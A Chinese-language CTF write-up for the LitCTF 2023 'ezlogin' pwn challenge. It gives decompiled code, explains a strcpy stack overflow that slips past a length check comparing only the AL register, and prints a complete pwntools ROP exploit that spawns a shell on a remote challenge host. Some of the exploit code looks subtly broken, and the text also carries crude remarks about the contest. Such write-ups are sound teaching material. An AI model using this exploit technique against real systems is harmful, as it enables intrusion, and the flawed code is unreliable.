跟着vn的师傅打 拿了第七 但是说实话pwn题出的太烂了 唯一有难度的一题还是抄的祥云杯2022-protocol 考点一模一样
从pwn方向我的评价就是一坨狗屎 其他方向不会不做评价
[LitCTF 2023]ezlogin
静态编译 删除了符号表 用sig文件解决就行 使用自己百度 这里贴一个比较齐全的sig文件仓库
push0ebp/sig-database: IDA FLIRT Signature Database (github.com)
int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; __int64 v4; __int64 v6;
setbuf(off_6B97A8, 0LL, envp); setbuf(off_6B97A0, 0LL, v3); setbuf(off_6B9798, 0LL, v4); while ( !(unsigned int)vuln(&v6) ) ; IO_puts("GoodTime."); return 0; }
|
重复执行vuln函数 当vuln函数的返回值为1时退出循环
_BOOL8 __fastcall vuln(__int64 a1) { char v2[536];
IO_puts("Input your password:"); memset(v2, 0, 0x200uLL); if ( (unsigned __int8)_libc_read(0, v2, 0x200uLL) > 0x50u ) exit_0(-1); j_strcpy_ifunc(a1, v2); return strcmp(v2, "PASSWORD") == 0; }
|
有一个strcpy的栈溢出 a1相当于v6 a1可以输入0x200字节 而v6只需要0x100字节就可以溢出 不过对于read函数有一个返回值检测
超过0x50就终止程序 但是实际的比较存在漏洞 我们来看一下汇编
.text:0000000000400C07 cmp al, 50h ; 'P' .text:0000000000400C09 ja short loc_400C3E
|
对比的是al寄存器 al寄存器是rax的低八位 也就是说如果我们这个数值比较大 使得二进制形式的数值的1集中在前面 低8位的数值就比较小 测试下来就是不能超过0x150字节
那么我们就可以构造rop链了 不过由于\x00会被strcpy截断 所以我们需要先覆盖一下payload中的\x00为其他字节
随后由后往前写 就是payload不断缩减 在\x00字节处做标记 输出的时候多一个\x00 用来覆盖原本的\x00
完整exp:
from pwn import* io = remote("node5.anna.nssctf.cn",28824)
context.log_level = "debug" elf = ELF("./pwn4") context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h']
syscall = 0x448D22 rdi_addr = 0x400706 rsi_addr=0x410043 rdx_addr = 0x448c95 rax_addr = 0x4005af bss_addr = elf.bss(0x300) start_addr = 0x400AB0 main_addr = 0x4005c0 ret_addr = 0x400416
payload = b'PASSWORD'+cyclic(0x100)+p64(rdi_addr)+p64(0)+p64(rax_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr)+p64(syscall)+p64(main_addr) payload = payload.ljust(0x200,b'a')
list = [] for i in range(0x198) : if payload[i] == '\x00' : list.append(i) payload = payload[0:i] + b'\x66' + payload[i+1:] list = list[::-1] for i in list : payload = payload[0:i]+b'\x00' io.recvuntil("Input your password:") io.send(payload) payload = "PASSWORD\x00" io.recvuntil("Input your password:")
io.send(payload)
io.sendline(b'/bin/sh\x00')
payload = b'PASSWORD'+cyclic(0x100)+p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0)+p64(syscall) payload = payload.ljust(0x200,b'a') list = [] for i in range(0x200) : if payload[i] == '\x00' : list.append(i) payload = payload[0:i] + b'\x66' + payload[i+1:] list = list[::-1] for i in list : payload = payload[0:i]+b'\x00' io.recvuntil("Input your password:") io.send(payload) payload = "PASSWORD\x00" io.recvuntil("Input your password:") io.send(payload) io.interactive()
|